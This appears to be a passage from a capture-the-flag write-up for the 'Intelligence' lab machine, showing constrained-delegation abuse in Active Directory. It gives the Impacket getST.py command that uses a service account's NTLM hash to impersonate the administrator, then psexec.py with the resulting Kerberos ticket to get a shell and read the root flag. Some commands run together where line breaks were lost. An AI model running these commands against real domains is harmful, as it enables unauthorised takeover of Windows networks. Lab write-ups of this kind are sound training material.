Allowed to Delegate To:

python3 /usr/share/doc/python3-impacket/examples/getST.py intelligence.htb/svc_int$ -spn WWW/dc.intelligence.htb -hashes :6e03616eef48ba6a15be62280aefcdb2 -impersonate administrator

export KRB5CCNAME=administrator.ccacheecho "10.129.163.131 dc.intelligence.htb" >> /etc/hostsklist

Finally, we can use Impacket’s psexec to connect as an administrator and snag our root flag!

python3 /usr/share/doc/python3-impacket/examples/psexec.py -k -no-pass dc.intelligence.htbcd ../../Users/Administratortype root.txt

PreviousWriteOwner Over Domain AdminsNextForce Change Password

Last updated